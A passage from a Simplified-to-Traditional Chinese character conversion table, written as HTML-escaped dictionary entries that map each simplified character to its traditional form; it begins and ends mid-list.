&#39;疬&#39;: &#39;癧&#39;, &#39;疭&#39;: &#39;瘲&#39;, &#39;疮&#39;: &#39;瘡&#39;, &#39;疯&#39;: &#39;瘋&#39;, &#39;疱&#39;: &#39;皰&#39;, &#39;疴&#39;: &#39;痾&#39;, &#39;痈&#39;: &#39;癰&#39;, &#39;痉&#39;: &#39;痙&#39;, &#39;痒&#39;: &#39;癢&#39;, &#39;痖&#39;: &#39;瘂&#39;, &#39;痨&#39;: &#39;癆&#39;, &#39;痪&#39;: &#39;瘓&#39;, &#39;痫&#39;: &#39;癇&#39;, &#39;瘅&#39;: &#39;癉&#39;, &#39;瘆&#39;: &#39;瘮&#39;, &#39;瘗&#39;: &#39;瘞&#39;, &#39;瘪&#39;: &#39;癟&#39;, &#39;瘫&#39;: &#39;癱&#39;, &#39;瘾&#39;: &#39;癮&#39;, &#39;瘿&#39;: &#39;癭&#39;, &#39;癞&#39;: &#39;癩&#39;, &#39;癣&#39;: &#39;癬&#39;, &#39;癫&#39;: &#39;癲&#39;, &#39;皑&#39;: &#39;皚&#39;, &#39;皱&#39;: &#39;皺&#39;, &#39;皲&#39;: &#39;皸&#39;, &#39;盏&#39;: &#39;盞&#39;, &#39;盐&#39;: &#39;鹽&#39;, &#39;监&#39;: &#39;監&#39;, &#39;盖&#39;: &#39;蓋&#39;, &#39;盗&#39;: &#39;盜&#39;, &#39;盘&#39;: &#39;盤&#39;, &#39;眍&#39;: &#39;瞘&#39;, &#39;眦&#39;: &#39;眥&#39;, &#39;眬&#39;: &#39;矓&#39;, &#39;着&#39;: &#39;著&#39;, &#39;睁&#39;: &#39;睜&#39;, &#39;睐&#39;: &#39;睞&#39;, &#39;睑&#39;: &#39;瞼&#39;, &#39;瞆&#39;: &#39;瞶&#39;, &#39;瞒&#39;: &#39;瞞&#39;, &#39;䁖&#39;: &#39;瞜&#39;, &#39;瞩&#39;: &#39;矚&#39;, &#39;矫&#39;: &#39;矯&#39;, &#39;矶&#39;: &#39;磯&#39;, &#39;矾&#39;: &#39;礬&#39;, &#39;矿&#39;: &#39;礦&#39;, &#39;砀&#39;: &#39;碭&#39;, &#39;码&#39;: &#39;碼&#39;, &#39;砖&#39;: &#39;磚&#39;, &#39;砗&#39;: &#39;硨&#39;, &#39;砚&#39;: &#39;硯&#39;, &#39;砜&#39;: &#39;碸&#39;, &#39;砺&#39;: &#39;礪&#39;, &#39;砻&#39;: &#39;礱&#39;, &#39;砾&#39;: &#39;礫&#39;, &#39;础&#39;: &#39;礎&#39;, &#39;硁&#39;: &#39;硜&#39;, &#39;硕&#39;: &#39;碩&#39;, &#39;硖&#39;: &#39;硤&#39;, &#39;硗&#39;: &#39;磽&#39;, &#39;硙&#39;: &#39;磑&#39;, &#39;碍&#39;: &#39;礙&#39;, &#39;碛&#39;: &#39;磧&#39;, &#39;碜&#39;: &#39;磣&#39;, &#39;碱&#39;: &#39;鹼&#39;, &#39;礼&#39;: &#39;禮&#39;, &#39;祃&#39;: &#39;禡&#39;, &#39;祎&#39;: &#39;禕&#39;, &#39;祢&#39;: &#39;禰&#39;, &#39;祯&#39;: &#39;禎&#39;, &#39;祷&#39;: &#39;禱&#39;, &#39;祸&#39;: &#39;禍&#39;, &#39;禀&#39;: &#39;稟&#39;, &#39;禄&#39;: &#39;祿&#39;, &#39;禅&#39;: &#39;禪&#39;, &#39;离&#39;: &#39;離&#39;, &#39;秃&#39;: &#39;禿&#39;, &#39;秆&#39;: &#39;稈&#39;, &#39;积&#39;: &#39;積&#39;, &#39;称&#39;: &#39;稱&#39;, &#39;秽&#39;: &#39;穢&#39;, &#39;秾&#39;: &#39;穠&#39;, &#39;稆&#39;: &#39;穭&#39;, &#39;税&#39;: &#39;稅&#39;, &#39;䅉&#39;: &#39;稏&#39;, &#39;稣&#39;: &#39;穌&#39;, &#39;稳&#39;: &#39;穩&#39;, &#39;穑&#39;: &#39;穡&#39;, &#39;穷&#39;: &#39;窮&#39;, &#39;窃&#39;: &#39;竊&#39;, &#39;窍&#39;: &#39;竅&#39;, &#39;窎&#39;: &#39;窵&#39;, &#39;窑&#39;: &#39;窯&#39;, &#39;窜&#39;: &#39;竄&#39;, &#39;窝&#39;: &#39;窩&#39;, &#39;窥&#39;: &#39;窺&#39;, &#39;窦&#39;: &#39;竇&#39;, &#39;窭&#39;: &#39;窶&#39;, &#39;竞&#39;: &#39;競&#39;, &#39;笃&#39;: &#39;篤&#39;, &#39;笋&#39;: &#39;筍&#39;, &#39;笔&#39;: &#39;筆&#39;, &#39;笕&#39;: &#39;筧&#39;, &#39;笺&#39;: &#39;箋&#39;, &#39;笼&#39;: &#39;籠&#39;, &#39;笾&#39;: &#39;籩&#39;, &#39;筚&#39;: &#39;篳&#39;, &#39;筛&#39;: &#39;篩&#39;, &#39;筜&#39;: &#39;簹&#39;, &#39;筝&#39;: &#39;箏&#39;, &#39;䇲&#39;: &#39;筴&#39;, &#39;筹&#39;: &#39;籌&#39;, &#39;筼&#39;: &#39;篔&#39;, &#39;简&#39;: &#39;簡&#39;, &#39;箓&#39;: &#39;籙&#39;, &#39;箦&#39;: &#39;簀&#39;, &#39;箧&#39;: &#39;篋&#39;, &#39;箨&#39;: &#39;籜&#39;, &#39;箩&#39;: &#39;籮&#39;, &#39;箪&#39;: &#39;簞&#39;, &#39;箫&#39;: &#39;簫&#39;, &#39;篑&#39;: &#39;簣&#39;, &#39;篓&#39;: &#39;簍&#39;, &#39;篮&#39;: &#39;籃&#39;, &#39;篱&#39;: &#39;籬&#39;, &#39;簖&#39;: &#39;籪&#39;, &#39;籁&#39;: &#39;籟&#39;, &#39;籴&#39;: &#39;糴&#39;, &#39;类&#39;: &#39;類&#39;, &#39;籼&#39;: &#39;秈&#39;, &#39;粜&#39;: &#39;糶&#39;, &#39;粝&#39;: &#39;糲&#39;, &#39;粤&#39;: &#39;粵&#39;, &#39;粪&#39;: &#39;糞&#39;, &#39;粮&#39;: &#39;糧&#39;, &#39;糁&#39;: &#39;糝&#39;, &#39;糇&#39;: &#39;餱&#39;, &#39;紧&#39;: &#39;緊&#39;, &#39;䌷&#39;: &#39;紬&#39;, &#39;䌹&#39;: &#39;絅&#39;, &#39;絷&#39;: &#39;縶&#39;, &#39;䌼&#39;: &#39;綐&#39;, &#39;䌽&#39;: &#39;綵&#39;, &#39;䌸&#39;: &#39;縳&#39;, &#39;䍁&#39;: &#39;繸&#39;, &#39;䍀&#39;: &#39;繿&#39;, &#39;纟&#39;: &#39;糹&#39;, &#39;纠&#39;: &#39;糾&#39;, &#39;纡&#39;: &#39;紆&#39;, &#39;红&#39;: &#39;紅&#39;, &#39;纣&#39;: &#39;紂&#39;, &#39;纥&#39;: &#39;紇&#39;, &#39;约&#39;: &#39;約&#39;, &#39;级&#39;: &#39;級&#39;, &#39;纨&#39;: &#39;紈&#39;, &#39;纩&#39;: &#39;纊&#39;, &#39;纪&#39;: &#39;紀&#39;, &#39;纫&#39;: &#39;紉&#39;, &#39;纬&#39;: &#39;緯&#39;, &#39;纭&#39;: &#39;紜&#39;, &#39;纮&#39;: &#39;紘&#39;, &#39;纯&#39;: &#39;純&#39;, &#39;纰&#39;: &#39;紕&#39;, &#39;纱&#39;: &#39;紗&#39;, &#39;纲&#39;: &#39;綱&#39;, &#39;纳&#39;: &#39;納&#39;, &#39;纴&#39;: &#39;紝&#39;, &#39;纵&#39;: &#39;縱&#39;, &#39;纶&#39;: &#39;綸&#39;, &#39;纷&#39;: &#39;紛&#39;, &#39;纸&#39;: &#39;紙&#39;, &#39;纹&#39;: &#39;紋&#39;, &#39;纺&#39;: &#39;紡&#39;, &#39;纻&#39;: &#39;紵&#39;, &#39;纼&#39;: &#39;紖&#39;, &#39;纽&#39;: &#39;紐&#39;, &#39;纾&#39;: &#39;紓&#39;, &#39;绀&#39;: &#39;紺&#39;, &#39;绁&#39;: &#39;紲&#39;, &#39;绂&#39;: &#39;紱&#39;, &#39;练&#39;: &#39;練&#39;, &#39;组&#39;: &#39;組&#39;, &#39;绅&#39;: &#39;紳&#39;, &#39;细&#39;: &#39;細&#39;, &#39;织&#39;: &#39;織&#39;, &#39;终&#39;: &#39;終&#39;, &#39;绉&#39;: &#39;縐&#39;, &#39;绊&#39;: &#39;絆&#39;, &#39;绋&#39;: &#39;紼&#39;, &#39;绌&#39;: &#39;絀&#39;, &#39;绍&#39;: &#39;紹&#39;, &#39;绎&#39;: &#39;繹&#39;, &#39;经&#39;: &#39;經&#39;, &#39;绐&#39;: &#39;紿&#39;, &#39;绑&#39;: &#39;綁&#39;, &#39;绒&#39;: &#39;絨&#39;, &#39;结&#39;: &#39;結&#39;, &#39;绔&#39;: &#39;絝&#39;, &#39;绕&#39;: &#39;繞&#39;, &#39;绖&#39;: &#39;絰&#39;, &#39;绗&#39;: &#39;絎&#39;, &#39;绘&#39;: &#39;繪&#39;, &#39;给&#39;: &#39;給&#39;, &#39;绚&#39;: &#39;絢&#39;, &#39;绛&#39;: &#39;絳&#39;, &#39;络&#39;: &#39;絡&#39;, &#39;绞&#39;: &#39;絞&#39;, &#39;统&#39;: &#39;統&#39;, &#39;绠&#39;: &#39;綆&#39;, &#39;绡&#39;: &#39;綃&#39;, &#39;绢&#39;: &#39;絹&#39;, &#39;绤&#39;: &#39;綌&#39;, &#39;绥&#39;: &#39;綏&#39;, &#39;继&#39;: &#39;繼&#39;, &#39;绨&#39;: &#39;綈&#39;, &#39;绩&#39;: &#39;績&#39;, &#39;绪&#39;: &#39;緒&#39;, &#39;绫&#39;: &#39;綾&#39;, &#39;绬&#39;: &#39;緓&#39;, &#39;续&#39;: &#39;續&#39;, &#39;绮&#39;: &#39;綺&#39;, &#39;绯&#39;: &#39;緋&#39;, &#39;绰&#39;: &#39;綽&#39;, &#39;绲&#39;: &#39;緄&#39;, &#39;绳&#39;: &#39;繩&#39;, &#39;维&#39;: &#39;維&#39;, &#39;绵&#39;: &#39;綿&#39;, &#39;绶&#39;: &#39;綬&#39;, &#39;绸&#39;: &#39;綢&#39;, &#39;绹&#39;: &#39;綯&#39;, &#39;绺&#39;: &#39;綹&#39;, &#39;绻&#39;: &#39;綣&#39;, &#39;综&#39;: &#39;綜&#39;, &#39;绽&#39;: &#39;綻&#39;, &#39;绾&#39;: &#39;綰&#39;, &#39;缀&#39;: &#39;綴&#39;, &#39;缁&#39;: &#39;緇&#39;, &#39;缂&#39;: &#39;緙&#39;, &#39;缃&#39;: &#39;緗&#39;, &#39;缄&#39;: &#39;緘&#39;, &#39;缅&#39;: &#39;緬&#39;, &#39;缆&#39;: &#39;纜&#39;, &#39;缇&#39;: &#39;緹&#39;, &#39;缈&#39;: &#39;緲&#39;, &#39;缉&#39;: &#39;緝&#39;, &#39;缊&#39;: &#39;縕&#39;, &#39;缋&#39;: &#39;繢&#39;, &#39;缌&#39;: &#39;緦&#39;, &#39;缍&#39;: &#39;綞&#39;, &#39;缎&#39;: &#39;緞&#39;, &#39;缏&#39;: &#39;緶&#39;, &#39;缑&#39;: &#39;緱&#39;, &#39;缒&#39;: &#39;縋&#39;, &#39;缓&#39;: &#39;緩&#39;, &#39;缔&#39;: &#39;締&#39;, &#39;缕&#39;: &#39;縷&#39;, &#39;编&#39;: &#39;編&#39;, &#39;缗&#39;: &#39;緡&#39;, &#39;缘&#39;: &#39;緣&#39;, &#39;缙&#39;: &#39;縉&#39;, &#39;缚&#39;: &#39;縛&#39;, &#39;缛&#39;: &#39;縟&#39;, &#39;缜&#39;: &#39;縝&#39;, &#39;缝&#39;: &#39;縫&#39;, &#39;缞&#39;: &#39;縗&#39;, &#39;缟&#39;: &#39;縞&#39;, &#39;缠&#39;: &#39;纏&#39;, &#39;缡&#39;: &#39;縭&#39;, &#39;缢&#39;: &#39;縊&#39;, &#39;缣&#39;: &#39;縑&#39;, &#39;缤&#39;: &#39;繽&#39;, &#39;缥&#39;: &#39;縹&#39;, &#39;缦&#39;: &#39;縵&#39;, &#39;缧&#39;: &#39;縲&#39;, &#39;缨&#39;: &#39;纓&#39;, &#39;缩&#39;: &#39;縮&#39;, &#39;缪&#39;: &#39;繆&#39;, &#39;缫&#39;: &#39;繅&#39;, &#39;缬&#39;: &#39;纈&#39;, &#39;缭&#39;: &#39;繚&#39;, &#39;缮&#39;: &#39;繕&#39;, &#39;缯&#39;: &#39;繒&#39;, &#39;缱&#39;: &#39;繾&#39;, &#39;缲&#39;: &#39;繰&#39;, &#39;缳&#39;: &#39;繯&#39;, &#39;缴&#39;: &#39;繳&#39;, &#39;缵&#39;: &#39;纘&#39;, &#39;罂&#39;: &#39;罌&#39;, &#39;网&#39;: &#39;網&#39;, &#39;罗&#39;: &#39;羅&#39;, &#39;罚&#39;: &#39;罰&#39;, &#39;罢&#39;: &#39;罷&#39;, &#39;罴&#39;: &#39;羆&#39;, &#39;羁&#39;: &#39;羈&#39;, &#39;羟&#39;: &#39;羥&#39;, &#39;翘&#39;: &#39;翹&#39;, &#39;耢&#39;: &#39;耮&#39;, &#39;耧&#39;: &#39;耬&#39;, &#39;耸&#39;: &#39;聳&#39;, &#39;耻&#39;: &#39;恥&#39;, &#39;聂&#39;: &#39;聶&#39;, &#39;聋&#39;: &#39;聾&#39;, &#39;职&#39;: &#39;職&#39;, &#39;聍&#39;: &#39;聹&#39;, &#39;联&#39;: &#39;聯&#39;, &#39;聩&#39;: &#39;聵&#39;, &#39;聪&#39;: &#39;聰&#39;, &#39;肃&#39;: &#39;肅&#39;, &#39;肠&#39;: &#39;腸&#39;, &#39;肤&#39;: &#39;膚&#39;, &#39;肮&#39;: &#39;骯&#39;, &#39;肴&#39;: &#39;餚&#39;, &#39;肾&#39;: &#39;腎&#39;, &#39;肿&#39;: &#39;腫&#39;, &#39;胀&#39;: &#39;脹&#39;, &#39;胁&#39;: &#39;脅&#39;, &#39;胆&#39;: &#39;膽&#39;, &#39;胧&#39;: &#39;朧&#39;, &#39;胨&#39;: &#39;腖&#39;, &#39;胪&#39;: &#39;臚&#39;, &#39;胫&#39;: &#39;脛&#39;, &#39;胶&#39;: &#39;膠&#39;, &#39;脉&#39;: &#39;脈&#39;, &#39;脍&#39;: &#39;膾&#39;, &#39;脐&#39;: &#39;臍&#39;, &#39;脑&#39;: &#39;腦&#39;, &#39;脓&#39;: &#39;膿&#39;, &#39;脔&#39;: &#39;臠&#39;, &#39;脚&#39;: &#39;腳&#39;, &#39;脱&#39;: &#39;脫&#39;, &#39;脶&#39;: &#39;腡&#39;, &#39;脸&#39;: &#39;臉&#39;, &#39;腭&#39;: &#39;齶&#39;, &#39;腻&#39;: &#39;膩&#39;, &#39;腼&#39;: &#39;靦&#39;, &#39;腽&#39;: &#39;膃&#39;, &#39;腾&#39;: &#39;騰&#39;, &#39;膑&#39;: &#39;臏&#39;, &#39;臜&#39;: &#39;臢&#39;, &#39;舆&#39;: &#39;輿&#39;, &#39;舣&#39;: &#39;艤&#39;, &#39;舰&#39;: &#39;艦&#39;, &#39;舱&#39;: &#39;艙&#39;, &#39;舻&#39;: &#39;艫&#39;, &#39;艰&#39;: &#39;艱&#39;, &#39;艳&#39;: &#39;艷&#39;, &#39;艺&#39;: &#39;藝&#39;, &#39;节&#39;: &#39;節&#39;, &#39;芈&#39;: &#39;羋&#39;, &#39;芗&#39;: &#39;薌&#39;, &#39;芜&#39;: &#39;蕪&#39;, &#39;芦&#39;: &#39;蘆&#39;, &#39;苁&#39;: &#39;蓯&#39;, &#39;苇&#39;: &#39;葦&#39;, &#39;苈&#39;: &#39;藶&#39;, &#39;苋&#39;: &#39;莧&#39;, &#39;苌&#39;: &#39;萇&#39;, &#39;苍&#39;: &#39;蒼&#39;, &#39;苎&#39;: &#39;苧&#39;, &#39;茎&#39;: &#39;莖&#39;, &#39;茏&#39;: &#39;蘢&#39;, &#39;茑&#39;: &#39;蔦&#39;, &#39;茔&#39;: &#39;塋&#39;, &#39;茕&#39;: &#39;煢&#39;, &#39;茧&#39;: &#39;繭&#39;, &#39;荆&#39;: &#39;荊&#39;, &#39;荐&#39;: &#39;薦&#39;, &#39;荙&#39;: &#39;薘&#39;, &#39;荚&#39;: &#39;莢&#39;, &#39;荛&#39;: &#39;蕘&#39;, &#39;荜&#39;: &#39;蓽&#39;, &#39;荞&#39;: &#39;蕎&#39;, &#39;荟&#39;: &#39;薈&#39;, &#39;荠&#39;: &#39;薺&#39;, &#39;荣&#39;: &#39;榮&#39;, &#39;荤&#39;: &#39;葷&#39;, &#39;荥&#39;: &#39;滎&#39;, &#39;荦&#39;: &#39;犖&#39;, &#39;荧&#39;: &#39;熒&#39;, &#39;荨&#39;: &#39;蕁&#39;, &#39;荩&#39;: &#39;藎&#39;, &#39;荪&#39;: &#39;蓀&#39;, &#39;荫&#39;: &#39;蔭&#39;, &#39;荬&#39;: &#39;蕒&#39;, &#39;荭&#39;: &#39;葒&#39;, &#39;荮&#39;: &#39;葤&#39;, &#39;莅&#39;: &#39;蒞&#39;, &#39;莱&#39;: &#39;萊&#39;, &#39;莲&#39;: &#39;蓮&#39;, &#39;莳&#39;: &#39;蒔&#39;, &#39;莴&#39;: &#39;萵&#39;, &#39;莶&#39;: &#39;薟&#39;, &#39;莸&#39;: &#39;蕕&#39;, &#39;莹&#39;: &#39;瑩&#39;, &#39;莺&#39;: &#39;鶯&#39;, &#39;萝&#39;: &#39;蘿&#39;, &#39;萤&#39;: &#39;螢&#39;, &#39;营&#39;: &#39;營&#39;, &#39;萦&#39;: &#39;縈&#39;, &#39;萧&#39;: &#39;蕭&#39;, &#39;萨&#39;: &#39;薩&#39;, &#39;葱&#39;: &#39;蔥&#39;, &#39;蒇&#39;: &#39;蕆&#39;, &#39;蒉&#39;: &#39;蕢&#39;, &#39;蒋&#39;: &#39;蔣&#39;, &#39;蒌&#39;: &#39;蔞&#39;, &#39;蓝&#39;: &#39;藍&#39;, &#39;蓟&#39;: &#39;薊&#39;, &#39;蓠&#39;: &#39;蘺&#39;, &#39;蓣&#39;: &#39;蕷&#39;, &#39;蓥&#39;: &#39;鎣&#39;, &#39;蓦&#39;: &#39;驀&#39;, &#39;蔂&#39;: &#39;虆&#39;, &#39;蔷&#39;: &#39;薔&#39;, &#39;蔹&#39;: &#39;蘞&#39;, &#39;蔺&#39;: &#39;藺&#39;, &#39;蔼&#39;: &#39;藹&#39;, &#39;蕰&#39;: &#39;薀&#39;, &#39;蕲&#39;: &#39;蘄&#39;, &#39;薮&#39;: &#39;藪&#39;, &#39;䓕&#39;: &#39;薳&#39;, &#39;藓&#39;: &#39;蘚&#39;, &#39;蘖&#39;: &#39;櫱&#39;, &#39;虏&#39;: &#39;虜&#39;, &#39;虑&#39;: &#39;慮&#39;, &#39;虚&#39;: &#39;虛&#39;, &#39;虬&#39;: &#39;虯&#39;, &#39;虮&#39;: &#39;蟣&#39;, &#39;虽&#39;: &#39;雖&#39;, &#39;虾&#39;: &#39;蝦&#39;, &#39;虿&#39;: &#39;蠆&#39;, &#39;蚀&#39;: &#39;蝕&#39;, &#39;蚁&#39;: &#39;蟻&#39;, &#39;蚂&#39;: &#39;螞&#39;, &#39;蚕&#39;: &#39;蠶&#39;, &#39;蚬&#39;: &#39;蜆&#39;, &#39;蛊&#39;: &#39;蠱&#39;, &#39;蛎&#39;: &#39;蠣&#39;, &#39;蛏&#39;: &#39;蟶&#39;, &#39;蛮&#39;: &#39;蠻&#39;, &#39;蛰&#39;: &#39;蟄&#39;, &#39;蛱&#39;: &#39;蛺&#39;, &#39;蛲&#39;: &#39;蟯&#39;, &#39;蛳&#39;: &#39;螄&#39;, &#39;蛴&#39;: &#39;蠐&#39;, &#39;蜕&#39;: &#39;蛻&#39;, &#39;蜗&#39;: &#39;蝸&#39;, &#39;蝇&#39;: &#39;蠅&#39;, &#39;蝈&#39;: &#39;蟈&#39;, &#39;蝉&#39;: &#39;蟬&#39;, &#39;蝼&#39;: &#39;螻&#39;, &#39;蝾&#39;: &#39;蠑&#39;, &#39;螀&#39;: &#39;螿&#39;, &#39;螨&#39;: &#39;蟎&#39;, &#39;䗖&#39;: &#39;螮&#39;, &#39;蟏&#39;: &#39;蠨&#39;, &#39;衅&#39;: &#39;釁&#39;, &#39;衔&#39;: &#39;銜&#39;, &#39;补&#39;: &#39;補&#39;, &#39;衬&#39;: &#39;襯&#39;, &#39;衮&#39;: &#39;袞&#39;, &#39;袄&#39;: &#39;襖&#39;, &#39;袅&#39;: &#39;裊&#39;, &#39;袆&#39;: &#39;褘&#39;, &#39;袜&#39;: &#39;襪&#39;, &#39;袭&#39;: &#39;襲&#39;, &#39;袯&#39;: &#39;襏&#39;, &#39;装&#39;: &#39;裝&#39;, &#39;裆&#39;: &#39;襠&#39;, &#39;裈&#39;: &#39;褌&#39;, &#39;裢&#39;: &#39;褳&#39;, &#39;裣&#39;: &#39;襝&#39;, &#39;裤&#39;: &#39;褲&#39;, &#39;裥&#39;: &#39;襇&#39;, &#39;褛&#39;: &#39;褸&#39;, &#39;褴&#39;: &#39;襤&#39;, &#39;䙓&#39;: &#39;襬&#39;, &#39;见&#39;: &#39;見&#39;, &#39;观&#39;: &#39;觀&#39;, &#39;觃&#39;: &#39;覎&#39;, &#39;规&#39;: &#39;規&#39;, &#39;觅&#39;: &#39;覓&#39;, &#39;视&#39;: &#39;視&#39;, &#39;觇&#39;: &#39;覘&#39;, &#39;览&#39;: &#39;覽&#39;, &#39;觉&#39;: &#39;覺&#39;, &#39;觊&#39;: &#39;覬&#39;, &#39;觋&#39;: &#39;覡&#39;, &#39;觌&#39;: &#39;覿&#39;, &#39;觍&#39;: &#39;覥&#39;, &#39;觎&#39;: &#39;覦&#39;, &#39;觏&#39;: &#39;覯&#39;, &#39;觐&#39;: &#39;覲&#39;, &#39;觑&#39;: &#39;覷&#39;, &#39;觞&#39;: &#39;觴&#39;, &#39;触&#39;: &#39;觸&#39;, &#39;觯&#39;: &#39;觶&#39;, &#39;訚&#39;: &#39;誾&#39;, &#39;䜣&#39;: &#39;訢&#39;, &#39;誉&#39;: &#39;譽&#39;, &#39;誊&#39;: &#39;謄&#39;, &#39;䜧&#39;: &#39;譅&#39;, &#39;讠&#39;: &#39;訁&#39;, &#39;计&#39;: &#39;計&#39;, &#39;订&#39;: &#39;訂&#39;, &#39;讣&#39;: &#39;訃&#39;, &#39;认&#39;: &#39;認&#39;, &#39;讥&#39;: &#39;譏&#39;, &#39;讦&#39;: &#39;訐&#39;, &#39;讧&#39;: &#39;訌&#39;, &#39;讨&#39;: &#39;討&#39;, &#39;让&#39;: &#39;讓&#39;, &#39;讪&#39;: &#39;訕&#39;, &#39;讫&#39;: &#39;訖&#39;, &#39;讬&#39;: &#39;託&#39;, &#39;训&#39;: &#39;訓&#39;, &#39;议&#39;: &#39;議&#39;, &#39;讯&#39;: &#39;訊&#39;, &#39;记&#39;: &#39;記&#39;, &#39;讱&#39;: &#39;訒&#39;, &#39;讲&#39;: &#39;講&#39;, &#39;讳&#39;: &#39;諱&#39;, &#39;讴&#39;: &#39;謳&#39;, &#39;讵&#39;: &#39;詎&#39;, &#39;讶&#39;: &#39;訝&#39;, &#39;讷&#39;: &#39;訥&#39;, &#39;许&#39;: &#39;許&#39;, &#39;讹&#39;: &#39;訛&#39;, &#39;论&#39;: &#39;論&#39;, &#39;讻&#39;: &#39;訩&#39;, &#39;讼&#39;: &#39;訟&#39;, &#39;讽&#39;: &#39;諷&#39;, &#39;设&#39;: &#39;設&#39;, &#39;访&#39;: &#39;訪&#39;, &#39;诀&#39;: &#39;訣&#39;, &#39;证&#39;: &#39;證&#39;, &#39;诂&#39;: &#39;詁&#39;, &#39;诃&#39;: &#39;訶&#39;, &#39;评&#39;: &#39;評&#39;, &#39;诅&#39;: &#39;詛&#39;, &#39;识&#39;: &#39;識&#39;, &#39;诇&#39;: &#39;詗&#39;, &#39;诈&#39;: &#39;詐&#39;, &#39;诉&#39;: &#39;訴&#39;, &#39;诊&#39;: &#39;診&#39;, &#39;诋&#39;: &#39;詆&#39;, &#39;诌&#39;: &#39;謅&#39;, &#39;词&#39;: &#39;詞&#39;, &#39;诎&#39;: &#39;詘&#39;, &#39;诏&#39;: &#39;詔&#39;, &#39;诐&#39;: &#39;詖&#39;, &#39;译&#39;: &#39;譯&#39;, &#39;诒&#39;: &#39;詒&#39;, &#39;诓&#39;: &#39;誆&#39;, &#39;诔&#39;: &#39;誄&#39;, &#39;试&#39;: &#39;試&#39;, &#39;诖&#39;: &#39;詿&#39;, &#39;诗&#39;: &#39;詩&#39;, &#39;诘&#39;: &#39;詰&#39;, &#39;诙&#39;: &#39;詼&#39;, &#39;诚&#39;: &#39;誠&#39;, &#39;诛&#39;: &#39;誅&#39;, &#39;诜&#39;: &#39;詵&#39;, &#39;话&#39;: &#39;話&#39;, &#39;诞&#39;: &#39;誕&#39;, &#39;诟&#39;: &#39;詬&#39;, &#39;诠&#39;: &#39;詮&#39;, &#39;诡&#39;: &#39;詭&#39;, &#39;询&#39;: &#39;詢&#39;, &#39;诣&#39;: &#39;詣&#39;, &#39;诤&#39;: &#39;諍&#39;, &#39;该&#39;: &#39;該&#39;, &#39;详&#39;: &#39;詳&#39;, &#39;诧&#39;: &#39;詫&#39;, &#39;诨&#39;: &#39;諢&#39;, &#39;诩&#39;: &#39;詡&#39;, &#39;诪&#39;: &#39;譸&#39;, &#39;诫&#39;: &#39;誡&#39;, &#39;诬&#39;: &#39;誣&#39;, &#39;语&#39;: &#39;語&#39;, &#39;诮&#39;: &#39;誚&#39;, &#39;误&#39;: &#39;誤&#39;, &#39;诰&#39;: &#39;誥&#39;, &#39;诱&#39;: &#39;誘&#39;, &#39;诲&#39;: &#39;誨&#39;, &#39;诳&#39;: &#39;誑&#39;, &#39;诵&#39;: &#39;誦&#39;, &#39;诶&#39;: &#39;誒&#39;, &#39;请&#39;: &#39;請&#39;, &#39;诸&#39;: &#39;諸&#39;, &#39;诹&#39;: &#39;諏&#39;, &#39;诺&#39;: &#39;諾&#39;, &#39;读&#39;: &#39;讀&#39;, &#39;诼&#39;: &#39;諑&#39;, &#39;诽&#39;: &#39;誹&#39;, &#39;课&#39;: &#39;課&#39;, &#39;诿&#39;: &#39;諉&#39;, &#39;谀&#39;: &#39;諛&#39;, &#39;谁&#39;: &#39;誰&#39;, &#39;谂&#39;: &#39;諗&#39;, &#39;调&#39;: &#39;調&#39;, &#39;谄&#39;: &#39;諂&#39;, &#39;谅&#39;: &#39;諒&#39;, &#39;谆&#39;: &#39;諄&#39;, &#39;谇&#39;: &#39;誶&#39;, &#39;谈&#39;: &#39;談&#39;, &#39;谊&#39;: &#39;誼&#39;, &#39;谋&#39;: &#39;謀&#39;, &#39;谌&#39;: &#39;諶&#39;, &#39;谍&#39;: &#39;諜&#39;, &#39;谎&#39;: &#39;謊&#39;, &#39;谏&#39;: &#39;諫&#39;, &#39;谐&#39;: &#39;諧&#39;, &#39;谑&#39;: &#39;謔&#39;, &#39;谒&#39;: &#39;謁&#39;, &#39;谓&#39;: &#39;謂&#39;, &#39;谔&#39;: &#39;諤&#39;, &#39;谕&#39;: &#39;諭&#39;, &#39;谖&#39;: &#39;諼&#39;, &#39;谗&#39;: &#39;讒&#39;, &#39;谘&#39;: &#39;諮&#39;, &#39;谙&#39;: &#39;諳&#39;, &#39;谚&#39;: &#39;諺&#39;, &#39;谛&#39;: &#39;諦&#39;, &#39;谜&#39;: &#39;謎&#39;, &#39;谝&#39;: &#39;諞&#39;, &#39;谞&#39;: &#39;諝&#39;, &#39;谟&#39;: &#39;謨&#39;, &#39;谠&#39;: &#39;讜&#39;, &#39;谡&#39;: &#39;謖&#39;, &#39;谢&#39;: &#39;謝&#39;, &#39;谤&#39;: &#39;謗&#39;, &#39;谥&#39;: &#39;謚&#39;, &#39;谦&#39;: &#39;謙&#39;, &#39;谧&#39;: &#39;謐&#39;, &#39;谨&#39;: &#39;謹&#39;, &#39;谩&#39;: &#39;謾&#39;, &#39;谪&#39;: &#39;謫&#39;, &#39;谬&#39;: &#39;謬&#39;, &#39;谭&#39;: &#39;譚&#39;, &#39;谮&#39;: &#39;譖&#39;, &#39;谯&#39;: &#39;譙&#39;, &#39;谰&#39;: &#39;讕&#39;, &#39;谱&#39;: &#39;譜&#39;, &#39;谲&#39;: &#39;譎&#39;, &#39;谳&#39;: &#39;讞&#39;, &#39;谴&#39;: &#39;譴&#39;, &#39;谵&#39;: &#39;譫&#39;, &#39;谶&#39;: &#39;讖&#39;, &#39;豮&#39;: &#39;豶&#39;, &#39;䝙&#39;: &#39;貙&#39;, &#39;䞐&#39;: &#39;賰&#39;, &#39;贝&#39;: &#39;貝&#39;, &#39;贞&#39;: &#39;貞&#39;, &#39;负&#39;: &#39;負&#39;, &#39;贠&#39;: &#39;貟&#39;, &#39;贡&#39;: &#39;貢&#39;, &#39;财&#39;: &#39;財&#39;, &#39;责&#39;: &#39;責&#39;, &#39;贤&#39;: &#39;賢&#39;, &#39;败&#39;: &#39;敗&#39;, &#39;账&#39;: &#39;賬&#39;, &#39;货&#39;: &#39;貨&#39;, &#39;质&#39;: &#39;質&#39;, &#39;贩&#39;: &#39;販&#39;, &#39;贪&#39;: &#39;貪&#39;, &#39;贫&#39;: &#39;貧&#39;, &#39;贬&#39;: &#39;貶&#39;, &#39;购&#39;: &#39;購&#39;, &#39;贮&#39;: &#39;貯&#39;, &#39;贯&#39;: &#39;貫&#39;, &#39;贰&#39;: &#39;貳&#39;, &#39;贱&#39;: &#39;賤&#39;, &#39;贲&#39;: &#39;賁&#39;, &#39;贳&#39;: &#39;貰&#39;, &#39;贴&#39;: &#39;貼&#39;, &#39;贵&#39;: &#39;貴&#39;, &#39;贶&#39;: &#39;貺&#39;, &#39;贷&#39;: &#39;貸&#39;, &#39;贸&#39;: &#39;貿&#39;, &#39;费&#39;: 